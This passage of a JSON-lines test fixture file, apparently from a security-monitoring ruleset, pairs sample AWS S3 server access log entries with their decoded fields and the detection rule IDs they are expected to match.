\"S3Console/0.4, aws-internal/3 aws-sdk-java/1.11.991 Linux/4.9.230-0.1.ac.224.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.282-b08 java/1.8.0_282 vendor/Oracle_Corporation cfg/retry-mode/legacy\", \"version_id\": \"-\", \"host_id\": \"YnKG5o0K4Z3Lh0WD0QTJVXOBjiUwi1wcz2nnrCZa7BMu6xyX++sLbA43jEXTSRd2eoNwZty30g4=\", \"signature_version\": \"SigV4\", \"cipher_suite\": \"ECDHE-RSA-AES128-GCM-SHA256\", \"authentication_type\": \"AuthHeader\", \"host_header\": \"s3.amazonaws.com\", \"tls_version\": \"TLSv1.2\", \"source\": \"s3_server_access\"}}", "decoder": "json", "parent": "", "fields": {"aws.authentication_type": "AuthHeader", "aws.bucket": "wazuh-cloudtrail", "aws.bucket_owner": "3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101", "aws.bytes_sent": "-", "aws.cipher_suite": "ECDHE-RSA-AES128-GCM-SHA256", "aws.error_code": "-", "aws.host_header": "s3.amazonaws.com", "aws.host_id": "YnKG5o0K4Z3Lh0WD0QTJVXOBjiUwi1wcz2nnrCZa7BMu6xyX++sLbA43jEXTSRd2eoNwZty30g4=", "aws.http_status": "200", "aws.key": "-", "aws.log_info.log_file": "access_logs/2021-04-29-09-49-06-51F541DE27C2AC50", "aws.log_info.s3bucket": "wazuh-aws-wodle", "aws.object_sent": "-", "aws.operation": "REST.HEAD.BUCKET", "aws.referer": "-", "aws.remote_ip": "92.57.74.50", "aws.request_id": "T3BW07JM2HMSJH17", "aws.request_uri": "HEAD /wazuh-cloudtrail HTTP/1.1", "aws.requester": "arn:aws:iam::166157441623:user/david.iglesias", "aws.signature_version": "SigV4", "aws.source": "s3_server_access", "aws.time": "29/Apr/2021:08:47:53 +0000", "aws.tls_version": "TLSv1.2", "aws.total_time": "29", "aws.turn_around_time": "28", "aws.user_agent": "S3Console/0.4, aws-internal/3 aws-sdk-java/1.11.991 Linux/4.9.230-0.1.ac.224.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.282-b08 java/1.8.0_282 vendor/Oracle_Corporation cfg/retry-mode/legacy", "aws.version_id": "-", "integration": "aws"}, "field_names": ["aws.authentication_type", "aws.bucket", "aws.bucket_owner", "aws.bytes_sent", "aws.cipher_suite", "aws.error_code", "aws.host_header", "aws.host_id", "aws.http_status", "aws.key", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.object_sent", "aws.operation", "aws.referer", "aws.remote_ip", "aws.request_id", "aws.request_uri", "aws.requester", "aws.signature_version", "aws.source", "aws.time", "aws.tls_version", "aws.total_time", "aws.turn_around_time", "aws.user_agent", "aws.version_id", "integration"], "rule": "80360", "level": "0", "expected_decoder": "json", "expected_rule": "80360", "rule_matches_expected": true, "ini_file": "aws_s3_access.ini", "section": "Generic S3."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"aws_account_alias\":\"\",\"log_file\":\"access_logs/2021-04-29-09-41-37-6CFDED3B1BCCDEB1\",\"s3bucket\":\"wazuh-aws-wodle\"},\"bucket_owner\":\"3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101\",\"bucket\":\"wazuh-cloudtrail\",\"time\":\"29/Apr/2021:08:57:58 +0000\",\"remote_ip\":\"213.194.148.169\",\"requester\":\"arn:aws:iam::166157441623:user/carlos.ridao\",\"request_id\":\"M5XS2MGJ6FEA5VTJ\",\"operation\":\"REST.DELETE.BUCKETVERSIONS\",\"key\":\"-\",\"request_uri\":\"GET /?versions&max-keys=1&encoding-type=url HTTP/1.1\",\"http_status\":\"200\",\"error_code\":\"-\",\"bytes_sent\":\"839\",\"object_sent\":\"-\",\"total_time\":\"54\",\"turn_around_time\":\"53\",\"referer\":\"-\",\"user_agent\":\"S3Console/0.4, aws-internal/3 aws-sdk-java/1.11.991 Linux/4.9.230-0.1.ac.224.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.282-b08 java/1.8.0_282 vendor/Oracle_Corporation cfg/retry-mode/legacy\",\"version_id\":\"-\",\"host_id\":\"JyPaquNlVOP38Ap/6E0zqnh5Zj75+9KAv0weFdQChcLd6oaNZZxWyJUPhQgahDu4EHWDy7zQOsA=\",\"signature_version\":\"SigV4\",\"cipher_suite\":\"ECDHE-RSA-AES128-GCM-SHA256\",\"authentication_type\":\"AuthHeader\",\"host_header\":\"wazuh-cloudtrail.s3.us-east-1.amazonaws.com\",\"tls_version\":\"TLSv1.2\",\"source\":\"s3_server_access\"}}", "decoder": "json", "parent": "", "fields": {"aws.authentication_type": "AuthHeader", "aws.bucket": "wazuh-cloudtrail", "aws.bucket_owner": "3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101", "aws.bytes_sent": "839", "aws.cipher_suite": "ECDHE-RSA-AES128-GCM-SHA256", "aws.error_code": "-", "aws.host_header": "wazuh-cloudtrail.s3.us-east-1.amazonaws.com", "aws.host_id": "JyPaquNlVOP38Ap/6E0zqnh5Zj75+9KAv0weFdQChcLd6oaNZZxWyJUPhQgahDu4EHWDy7zQOsA=", "aws.http_status": "200", "aws.key": "-", "aws.log_info.log_file": "access_logs/2021-04-29-09-41-37-6CFDED3B1BCCDEB1", "aws.log_info.s3bucket": "wazuh-aws-wodle", "aws.object_sent": "-", "aws.operation": "REST.DELETE.BUCKETVERSIONS", "aws.referer": "-", "aws.remote_ip": "213.194.148.169", "aws.request_id": "M5XS2MGJ6FEA5VTJ", "aws.request_uri": "GET /?versions&max-keys=1&encoding-type=url HTTP/1.1", "aws.requester": "arn:aws:iam::166157441623:user/carlos.ridao", "aws.signature_version": "SigV4", "aws.source": "s3_server_access", "aws.time": "29/Apr/2021:08:57:58 +0000", "aws.tls_version": "TLSv1.2", "aws.total_time": "54", "aws.turn_around_time": "53", "aws.user_agent": "S3Console/0.4, aws-internal/3 aws-sdk-java/1.11.991 Linux/4.9.230-0.1.ac.224.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.282-b08 java/1.8.0_282 vendor/Oracle_Corporation cfg/retry-mode/legacy", "aws.version_id": "-", "integration": "aws"}, "field_names": ["aws.authentication_type", "aws.bucket", "aws.bucket_owner", "aws.bytes_sent", "aws.cipher_suite", "aws.error_code", "aws.host_header", "aws.host_id", "aws.http_status", "aws.key", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.object_sent", "aws.operation", "aws.referer", "aws.remote_ip", "aws.request_id", "aws.request_uri", "aws.requester", "aws.signature_version", "aws.source", "aws.time", "aws.tls_version", "aws.total_time", "aws.turn_around_time", "aws.user_agent", "aws.version_id", "integration"], "rule": "80361", "level": "3", "expected_decoder": "json", "expected_rule": "80361", "rule_matches_expected": true, "ini_file": "aws_s3_access.ini", "section": "AWS S3: DELETE operation"} +{"log": "{\"integration\": \"aws\", \"aws\": {\"log_info\": {\"aws_account_alias\": \"\", \"log_file\": \"access_logs/2021-04-29-09-41-37-6CFDED3B1BCCDEB1\", \"s3bucket\": \"wazuh-aws-wodle\"}, \"bucket_owner\": \"3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101\", \"bucket\": \"wazuh-cloudtrail\", \"time\": \"29/Apr/2021:08:57:58 +0000\", \"remote_ip\": \"213.194.148.169\", \"requester\": \"arn:aws:iam::166157441623:user/carlos.ridao\", \"request_id\": \"M5XS2MGJ6FEA5VTJ\", \"operation\": \"REST.GET.BUCKETVERSIONS\", \"key\": \"-\", \"request_uri\": \"GET /?versions&max-keys=1&encoding-type=url HTTP/1.1\", \"http_status\": \"200\", \"error_code\": \"-\", \"bytes_sent\": \"839\", \"object_sent\": \"-\", \"total_time\": \"54\", \"turn_around_time\": \"53\", \"referer\": \"-\", \"user_agent\": \"S3Console/0.4, aws-internal/3 aws-sdk-java/1.11.991 Linux/4.9.230-0.1.ac.224.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.282-b08 java/1.8.0_282 vendor/Oracle_Corporation cfg/retry-mode/legacy\", \"version_id\": \"-\", \"host_id\": \"JyPaquNlVOP38Ap/6E0zqnh5Zj75+9KAv0weFdQChcLd6oaNZZxWyJUPhQgahDu4EHWDy7zQOsA=\", \"signature_version\": \"SigV4\", \"cipher_suite\": \"ECDHE-RSA-AES128-GCM-SHA256\", \"authentication_type\": \"AuthHeader\", \"host_header\": \"wazuh-cloudtrail.s3.us-east-1.amazonaws.com\", \"tls_version\": \"TLSv1.2\", \"source\": \"s3_server_access\"}}", "decoder": "json", "parent": "", "fields": {"aws.authentication_type": "AuthHeader", "aws.bucket": "wazuh-cloudtrail", "aws.bucket_owner": "3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101", "aws.bytes_sent": "839", "aws.cipher_suite": "ECDHE-RSA-AES128-GCM-SHA256", "aws.error_code": "-", "aws.host_header": "wazuh-cloudtrail.s3.us-east-1.amazonaws.com", "aws.host_id": "JyPaquNlVOP38Ap/6E0zqnh5Zj75+9KAv0weFdQChcLd6oaNZZxWyJUPhQgahDu4EHWDy7zQOsA=", "aws.http_status": "200", "aws.key": "-", "aws.log_info.log_file": "access_logs/2021-04-29-09-41-37-6CFDED3B1BCCDEB1", "aws.log_info.s3bucket": "wazuh-aws-wodle", "aws.object_sent": "-", "aws.operation": "REST.GET.BUCKETVERSIONS", "aws.referer": "-", "aws.remote_ip": "213.194.148.169", "aws.request_id": "M5XS2MGJ6FEA5VTJ", "aws.request_uri": "GET /?versions&max-keys=1&encoding-type=url HTTP/1.1", "aws.requester": "arn:aws:iam::166157441623:user/carlos.ridao", "aws.signature_version": "SigV4", "aws.source": "s3_server_access", "aws.time": "29/Apr/2021:08:57:58 +0000", "aws.tls_version": "TLSv1.2", "aws.total_time": "54", "aws.turn_around_time": "53", "aws.user_agent": "S3Console/0.4, aws-internal/3 aws-sdk-java/1.11.991 Linux/4.9.230-0.1.ac.224.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.282-b08 java/1.8.0_282 vendor/Oracle_Corporation cfg/retry-mode/legacy", "aws.version_id": "-", "integration": "aws"}, "field_names": ["aws.authentication_type", "aws.bucket", "aws.bucket_owner", "aws.bytes_sent", "aws.cipher_suite", "aws.error_code", "aws.host_header", "aws.host_id", "aws.http_status", "aws.key", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.object_sent", "aws.operation", "aws.referer", "aws.remote_ip", "aws.request_id", "aws.request_uri", "aws.requester", "aws.signature_version", "aws.source", "aws.time", "aws.tls_version", "aws.total_time", "aws.turn_around_time", "aws.user_agent", "aws.version_id", "integration"], "rule": "80362", "level": "2", "expected_decoder": "json", "expected_rule": "80362", "rule_matches_expected": true, "ini_file": "aws_s3_access.ini", "section": "Operation GET."} +{"log": "{\"integration\": \"aws\", \"aws\": {\"log_info\": {\"aws_account_alias\": \"\", \"log_file\": \"access_logs/2021-04-29-09-41-37-6CFDED3B1BCCDEB1\", \"s3bucket\": \"wazuh-aws-wodle\"}, \"bucket_owner\": \"3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101\", \"bucket\": \"wazuh-cloudtrail\", \"time\": \"29/Apr/2021:08:57:58 +0000\", \"remote_ip\": \"213.194.148.169\", \"requester\": \"arn:aws:iam::166157441623:user/carlos.ridao\", \"request_id\": \"M5XS2MGJ6FEA5VTJ\", \"operation\": \"REST.GET.OBJECT\", \"key\": \"-\", \"request_uri\": \"GET /?versions&max-keys=1&encoding-type=url HTTP/1.1\", \"http_status\": \"200\", \"error_code\": \"-\", \"bytes_sent\": \"839\", \"object_sent\": \"-\", \"total_time\": \"54\", \"turn_around_time\": \"53\", \"referer\": \"-\", \"user_agent\": \"S3Console/0.4, aws-internal/3 aws-sdk-java/1.11.991 Linux/4.9.230-0.1.ac.224.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.282-b08 java/1.8.0_282 vendor/Oracle_Corporation cfg/retry-mode/legacy\", \"version_id\": \"-\", \"host_id\": \"JyPaquNlVOP38Ap/6E0zqnh5Zj75+9KAv0weFdQChcLd6oaNZZxWyJUPhQgahDu4EHWDy7zQOsA=\", \"signature_version\": \"SigV4\", \"cipher_suite\": \"ECDHE-RSA-AES128-GCM-SHA256\", \"authentication_type\": \"AuthHeader\", \"host_header\": \"wazuh-cloudtrail.s3.us-east-1.amazonaws.com\", \"tls_version\": \"TLSv1.2\", \"source\": \"s3_server_access\"}}", "decoder": "json", "parent": "", "fields": {"aws.authentication_type": "AuthHeader", "aws.bucket": "wazuh-cloudtrail", "aws.bucket_owner": "3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101", "aws.bytes_sent": "839", "aws.cipher_suite": "ECDHE-RSA-AES128-GCM-SHA256", "aws.error_code": "-", "aws.host_header": "wazuh-cloudtrail.s3.us-east-1.amazonaws.com", "aws.host_id": "JyPaquNlVOP38Ap/6E0zqnh5Zj75+9KAv0weFdQChcLd6oaNZZxWyJUPhQgahDu4EHWDy7zQOsA=", "aws.http_status": "200", "aws.key": "-", "aws.log_info.log_file": "access_logs/2021-04-29-09-41-37-6CFDED3B1BCCDEB1", "aws.log_info.s3bucket": "wazuh-aws-wodle", "aws.object_sent": "-", "aws.operation": "REST.GET.OBJECT", "aws.referer": "-", "aws.remote_ip": "213.194.148.169", "aws.request_id": "M5XS2MGJ6FEA5VTJ", "aws.request_uri": "GET /?versions&max-keys=1&encoding-type=url HTTP/1.1", "aws.requester": "arn:aws:iam::166157441623:user/carlos.ridao", "aws.signature_version": "SigV4", "aws.source": "s3_server_access", "aws.time": "29/Apr/2021:08:57:58 +0000", "aws.tls_version": "TLSv1.2", "aws.total_time": "54", "aws.turn_around_time": "53", "aws.user_agent": "S3Console/0.4, aws-internal/3 aws-sdk-java/1.11.991 Linux/4.9.230-0.1.ac.224.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.282-b08 java/1.8.0_282 vendor/Oracle_Corporation cfg/retry-mode/legacy", "aws.version_id": "-", "integration": "aws"}, "field_names": ["aws.authentication_type", "aws.bucket", "aws.bucket_owner", "aws.bytes_sent", "aws.cipher_suite", "aws.error_code", "aws.host_header", "aws.host_id", "aws.http_status", "aws.key", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.object_sent", "aws.operation", "aws.referer", "aws.remote_ip", "aws.request_id", "aws.request_uri", "aws.requester", "aws.signature_version", "aws.source", "aws.time", "aws.tls_version", "aws.total_time", "aws.turn_around_time", "aws.user_agent", "aws.version_id", "integration"], "rule": "80363", "level": "0", "expected_decoder": "json", "expected_rule": "80363", "rule_matches_expected": true, "ini_file": "aws_s3_access.ini", "section": "Silence general REST.GET.OBJECT."} +{"log": "{\"integration\": \"aws\", \"aws\": {\"log_info\": {\"aws_account_alias\": \"\", \"log_file\": \"access_logs/2021-04-29-09-38-27-8196FC2529DE67C3\", \"s3bucket\": \"wazuh-aws-wodle\"}, \"bucket_owner\": \"3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101\", \"bucket\": \"wazuh-cloudtrail\", \"time\": \"29/Apr/2021:08:52:31 +0000\", \"remote_ip\": \"-\", \"requester\": \"svc:cloudtrail.amazonaws.com\", \"request_id\": \"WF1XB03CFCAN420K\", \"operation\": \"REST.PUT.OBJECT\", \"key\": \"AWSLogs/166157441623/CloudTrail/us-west-1/2021/04/29/166157441623_CloudTrail_us-west-1_20210429T0840Z_QcTREycd1xiqQru5.json.gz\", \"request_uri\": \"PUT /AWSLogs/166157441623/CloudTrail/us-west-1/2021/04/29/166157441623_CloudTrail_us-west-1_20210429T0840Z_QcTREycd1xiqQru5.json.gz HTTP/1.1\", \"http_status\": \"200\", \"error_code\": \"-\", \"bytes_sent\": \"-\", \"object_sent\": \"2725\", \"total_time\": \"103\", \"turn_around_time\": \"15\", \"referer\": \"-\", \"user_agent\": \"-\", \"version_id\": \"-\", \"host_id\": \"FFcul1xzEVPZlAQn1tZoJq9SFEwudrfxAGWlYVbgM4OklyDqK8l9PNkSI30q17vwyGMUFQSyDGQ=\", \"signature_version\": \"SigV4\", \"cipher_suite\": \"ECDHE-RSA-AES128-GCM-SHA256\", \"authentication_type\": \"AuthHeader\", \"host_header\": \"wazuh-cloudtrail.s3.us-east-1.amazonaws.com\", \"tls_version\": \"TLSv1.2\", \"source\": \"s3_server_access\"}}", "decoder": "json", "parent": "", "fields": {"aws.authentication_type": "AuthHeader", "aws.bucket": "wazuh-cloudtrail", "aws.bucket_owner": "3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101", "aws.bytes_sent": "-", "aws.cipher_suite": "ECDHE-RSA-AES128-GCM-SHA256", "aws.error_code": "-", "aws.host_header": "wazuh-cloudtrail.s3.us-east-1.amazonaws.com", "aws.host_id": "FFcul1xzEVPZlAQn1tZoJq9SFEwudrfxAGWlYVbgM4OklyDqK8l9PNkSI30q17vwyGMUFQSyDGQ=", "aws.http_status": "200", "aws.key": "AWSLogs/166157441623/CloudTrail/us-west-1/2021/04/29/166157441623_CloudTrail_us-west-1_20210429T0840Z_QcTREycd1xiqQru5.json.gz", "aws.log_info.log_file": "access_logs/2021-04-29-09-38-27-8196FC2529DE67C3", "aws.log_info.s3bucket": "wazuh-aws-wodle", "aws.object_sent": "2725", "aws.operation": "REST.PUT.OBJECT", "aws.referer": "-", "aws.remote_ip": "-", "aws.request_id": "WF1XB03CFCAN420K", "aws.request_uri": "PUT /AWSLogs/166157441623/CloudTrail/us-west-1/2021/04/29/166157441623_CloudTrail_us-west-1_20210429T0840Z_QcTREycd1xiqQru5.json.gz HTTP/1.1", "aws.requester": "svc:cloudtrail.amazonaws.com", "aws.signature_version": "SigV4", "aws.source": "s3_server_access", "aws.time": "29/Apr/2021:08:52:31 +0000", "aws.tls_version": "TLSv1.2", "aws.total_time": "103", "aws.turn_around_time": "15", "aws.user_agent": "-", "aws.version_id": "-", "integration": "aws"}, "field_names": ["aws.authentication_type", "aws.bucket", "aws.bucket_owner", "aws.bytes_sent", "aws.cipher_suite", "aws.error_code", "aws.host_header", "aws.host_id", "aws.http_status", "aws.key", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.object_sent", "aws.operation", "aws.referer", "aws.remote_ip", "aws.request_id", "aws.request_uri", "aws.requester", "aws.signature_version", "aws.source", "aws.time", "aws.tls_version", "aws.total_time", "aws.turn_around_time", "aws.user_agent", "aws.version_id", "integration"], "rule": "80364", "level": "3", "expected_decoder": "json", "expected_rule": "80364", "rule_matches_expected": true, "ini_file": "aws_s3_access.ini", "section": "Operation PUT."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"aws_account_alias\":\"\",\"log_file\":\"access_logs/2021-04-29-09-38-27-8196FC2529DE67C3\",\"s3bucket\":\"wazuh-aws-wodle\"},\"bucket_owner\":\"3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101\",\"bucket\":\"wazuh-cloudtrail\",\"time\":\"29/Apr/2021:08:52:31 +0000\",\"remote_ip\":\"-\",\"requester\":\"svc:s3.amazonaws.com\",\"request_id\":\"WF1XB03CFCAN420K\",\"operation\":\"REST.PUT.OBJECT\",\"key\":\"AWSLogs/166157441623/CloudTrail/us-west-1/2021/04/29/166157441623_CloudTrail_us-west-1_20210429T0840Z_QcTREycd1xiqQru5.json.gz\",\"request_uri\":\"PUT /AWSLogs/166157441623/CloudTrail/us-west-1/2021/04/29/166157441623_CloudTrail_us-west-1_20210429T0840Z_QcTREycd1xiqQru5.json.gz HTTP/1.1\",\"http_status\":\"200\",\"error_code\":\"-\",\"bytes_sent\":\"-\",\"object_sent\":\"2725\",\"total_time\":\"103\",\"turn_around_time\":\"15\",\"referer\":\"-\",\"user_agent\":\"-\",\"version_id\":\"-\",\"host_id\":\"FFcul1xzEVPZlAQn1tZoJq9SFEwudrfxAGWlYVbgM4OklyDqK8l9PNkSI30q17vwyGMUFQSyDGQ=\",\"signature_version\":\"SigV4\",\"cipher_suite\":\"ECDHE-RSA-AES128-GCM-SHA256\",\"authentication_type\":\"AuthHeader\",\"host_header\":\"wazuh-cloudtrail.s3.us-east-1.amazonaws.com\",\"tls_version\":\"TLSv1.2\",\"source\":\"s3_server_access\"}}", "decoder": "json", "parent": "", "fields": {"aws.authentication_type": "AuthHeader", "aws.bucket": "wazuh-cloudtrail", "aws.bucket_owner": "3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101", "aws.bytes_sent": "-", "aws.cipher_suite": "ECDHE-RSA-AES128-GCM-SHA256", "aws.error_code": "-", "aws.host_header": "wazuh-cloudtrail.s3.us-east-1.amazonaws.com", "aws.host_id": "FFcul1xzEVPZlAQn1tZoJq9SFEwudrfxAGWlYVbgM4OklyDqK8l9PNkSI30q17vwyGMUFQSyDGQ=", "aws.http_status": "200", "aws.key": "AWSLogs/166157441623/CloudTrail/us-west-1/2021/04/29/166157441623_CloudTrail_us-west-1_20210429T0840Z_QcTREycd1xiqQru5.json.gz", "aws.log_info.log_file": "access_logs/2021-04-29-09-38-27-8196FC2529DE67C3", "aws.log_info.s3bucket": "wazuh-aws-wodle", "aws.object_sent": "2725", "aws.operation": "REST.PUT.OBJECT", "aws.referer": "-", "aws.remote_ip": "-", "aws.request_id": "WF1XB03CFCAN420K", "aws.request_uri": "PUT /AWSLogs/166157441623/CloudTrail/us-west-1/2021/04/29/166157441623_CloudTrail_us-west-1_20210429T0840Z_QcTREycd1xiqQru5.json.gz HTTP/1.1", "aws.requester": "svc:s3.amazonaws.com", "aws.signature_version": "SigV4", "aws.source": "s3_server_access", "aws.time": "29/Apr/2021:08:52:31 +0000", "aws.tls_version": "TLSv1.2", "aws.total_time": "103", "aws.turn_around_time": "15", "aws.user_agent": "-", "aws.version_id": "-", "integration": "aws"}, "field_names": ["aws.authentication_type", "aws.bucket", "aws.bucket_owner", "aws.bytes_sent", "aws.cipher_suite", "aws.error_code", "aws.host_header", "aws.host_id", "aws.http_status", "aws.key", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.object_sent", "aws.operation", "aws.referer", "aws.remote_ip", "aws.request_id", "aws.request_uri", "aws.requester", "aws.signature_version", "aws.source", "aws.time", "aws.tls_version", "aws.total_time", "aws.turn_around_time", "aws.user_agent", "aws.version_id", "integration"], "rule": "80365", "level": "0", "expected_decoder": "json", "expected_rule": "80365", "rule_matches_expected": true, "ini_file": "aws_s3_access.ini", "section": "Silence events when S3 puts."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"aws_account_alias\":\"\",\"log_file\":\"access_logs/2021-04-29-09-38-27-8196FC2529DE67C3\",\"s3bucket\":\"wazuh-aws-wodle\"},\"bucket_owner\":\"3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101\",\"bucket\":\"wazuh-cloudtrail\",\"time\":\"29/Apr/2021:08:52:31 +0000\",\"remote_ip\":\"-\",\"requester\":\"svc:cloudtrail.amazonaws.com\",\"request_id\":\"WF1XB03CFCAN420K\",\"operation\":\"REST.POST.OBJECT\",\"key\":\"AWSLogs/166157441623/CloudTrail/us-west-1/2021/04/29/166157441623_CloudTrail_us-west-1_20210429T0840Z_QcTREycd1xiqQru5.json.gz\",\"request_uri\":\"PUT /AWSLogs/166157441623/CloudTrail/us-west-1/2021/04/29/166157441623_CloudTrail_us-west-1_20210429T0840Z_QcTREycd1xiqQru5.json.gz HTTP/1.1\",\"http_status\":\"200\",\"error_code\":\"-\",\"bytes_sent\":\"-\",\"object_sent\":\"2725\",\"total_time\":\"103\",\"turn_around_time\":\"15\",\"referer\":\"-\",\"user_agent\":\"-\",\"version_id\":\"-\",\"host_id\":\"FFcul1xzEVPZlAQn1tZoJq9SFEwudrfxAGWlYVbgM4OklyDqK8l9PNkSI30q17vwyGMUFQSyDGQ=\",\"signature_version\":\"SigV4\",\"cipher_suite\":\"ECDHE-RSA-AES128-GCM-SHA256\",\"authentication_type\":\"AuthHeader\",\"host_header\":\"wazuh-cloudtrail.s3.us-east-1.amazonaws.com\",\"tls_version\":\"TLSv1.2\",\"source\":\"s3_server_access\"}}", "decoder": "json", "parent": "", "fields": {"aws.authentication_type": "AuthHeader", "aws.bucket": "wazuh-cloudtrail", "aws.bucket_owner": "3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101", "aws.bytes_sent": "-", "aws.cipher_suite": "ECDHE-RSA-AES128-GCM-SHA256", "aws.error_code": "-", "aws.host_header": "wazuh-cloudtrail.s3.us-east-1.amazonaws.com", "aws.host_id": "FFcul1xzEVPZlAQn1tZoJq9SFEwudrfxAGWlYVbgM4OklyDqK8l9PNkSI30q17vwyGMUFQSyDGQ=", "aws.http_status": "200", "aws.key": "AWSLogs/166157441623/CloudTrail/us-west-1/2021/04/29/166157441623_CloudTrail_us-west-1_20210429T0840Z_QcTREycd1xiqQru5.json.gz", "aws.log_info.log_file": "access_logs/2021-04-29-09-38-27-8196FC2529DE67C3", "aws.log_info.s3bucket": "wazuh-aws-wodle", "aws.object_sent": "2725", "aws.operation": "REST.POST.OBJECT", "aws.referer": "-", "aws.remote_ip": "-", "aws.request_id": "WF1XB03CFCAN420K", "aws.request_uri": "PUT /AWSLogs/166157441623/CloudTrail/us-west-1/2021/04/29/166157441623_CloudTrail_us-west-1_20210429T0840Z_QcTREycd1xiqQru5.json.gz HTTP/1.1", "aws.requester": "svc:cloudtrail.amazonaws.com", "aws.signature_version": "SigV4", "aws.source": "s3_server_access", "aws.time": "29/Apr/2021:08:52:31 +0000", "aws.tls_version": "TLSv1.2", "aws.total_time": "103", "aws.turn_around_time": "15", "aws.user_agent": "-", "aws.version_id": "-", "integration": "aws"}, "field_names": ["aws.authentication_type", "aws.bucket", "aws.bucket_owner", "aws.bytes_sent", "aws.cipher_suite", "aws.error_code", "aws.host_header", "aws.host_id", "aws.http_status", "aws.key", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.object_sent", "aws.operation", "aws.referer", "aws.remote_ip", "aws.request_id", "aws.request_uri", "aws.requester", "aws.signature_version", "aws.source", "aws.time", "aws.tls_version", "aws.total_time", "aws.turn_around_time", "aws.user_agent", "aws.version_id", "integration"], "rule": "80366", "level": "2", "expected_decoder": "json", "expected_rule": "80366", "rule_matches_expected": true, "ini_file": "aws_s3_access.ini", "section": "AWS S3: POST operation"} +{"log": "{\"integration\": \"aws\", \"aws\": {\"log_info\": {\"aws_account_alias\": \"\", \"log_file\": \"access_logs/2021-04-29-09-47-05-689ED56B49777287\", \"s3bucket\": \"wazuh-aws-wodle\"}, \"bucket_owner\": \"3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101\", \"bucket\": \"wazuh-cloudtrail\", \"time\": \"29/Apr/2021:08:47:53 +0000\", \"remote_ip\": \"92.57.74.50\", \"requester\": \"arn:aws:iam::166157441623:user/david.iglesias\", \"request_id\": \"T3BJ3QVNEB2XNQZ6\", \"operation\": \"REST.GET.ENCRYPTION\", \"key\": \"-\", \"request_uri\": \"GET /wazuh-cloudtrail?encryption= HTTP/1.1\", \"http_status\": \"404\", \"error_code\": \"ServerSideEncryptionConfigurationNotFoundError\", \"bytes_sent\": \"359\", \"object_sent\": \"-\", \"total_time\": \"28\", \"turn_around_time\": \"-\", \"referer\": \"-\", \"user_agent\": \"S3Console/0.4, aws-internal/3 aws-sdk-java/1.11.991 Linux/4.9.230-0.1.ac.224.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.282-b08 java/1.8.0_282 vendor/Oracle_Corporation cfg/retry-mode/legacy\", \"version_id\": \"-\", \"host_id\": \"aWts5+h5vGMYypTnH/uUuT+k1dt+C6r/qa9WqxHmYfv58SJlkEXi2EvgnOJcaIpTGs10FzFAS58=\", \"signature_version\": \"SigV4\", \"cipher_suite\": \"ECDHE-RSA-AES128-GCM-SHA256\", \"authentication_type\": \"AuthHeader\", \"host_header\": \"s3.amazonaws.com\", \"tls_version\": \"TLSv1.2\", \"source\": \"s3_server_access\"}}", "decoder": "json", "parent": "", "fields": {"aws.authentication_type": "AuthHeader", "aws.bucket": "wazuh-cloudtrail", "aws.bucket_owner": "3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101", "aws.bytes_sent": "359", "aws.cipher_suite": "ECDHE-RSA-AES128-GCM-SHA256", "aws.error_code": "ServerSideEncryptionConfigurationNotFoundError", "aws.host_header": "s3.amazonaws.com", "aws.host_id": "aWts5+h5vGMYypTnH/uUuT+k1dt+C6r/qa9WqxHmYfv58SJlkEXi2EvgnOJcaIpTGs10FzFAS58=", "aws.http_status": "404", "aws.key": "-", "aws.log_info.log_file": "access_logs/2021-04-29-09-47-05-689ED56B49777287", "aws.log_info.s3bucket": "wazuh-aws-wodle", "aws.object_sent": "-", "aws.operation": "REST.GET.ENCRYPTION", "aws.referer": "-", "aws.remote_ip": "92.57.74.50", "aws.request_id": "T3BJ3QVNEB2XNQZ6", "aws.request_uri": "GET /wazuh-cloudtrail?encryption= HTTP/1.1", "aws.requester": "arn:aws:iam::166157441623:user/david.iglesias", "aws.signature_version": "SigV4", "aws.source": "s3_server_access", "aws.time": "29/Apr/2021:08:47:53 +0000", "aws.tls_version": "TLSv1.2", "aws.total_time": "28", "aws.turn_around_time": "-", "aws.user_agent": "S3Console/0.4, aws-internal/3 aws-sdk-java/1.11.991 Linux/4.9.230-0.1.ac.224.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.282-b08 java/1.8.0_282 vendor/Oracle_Corporation 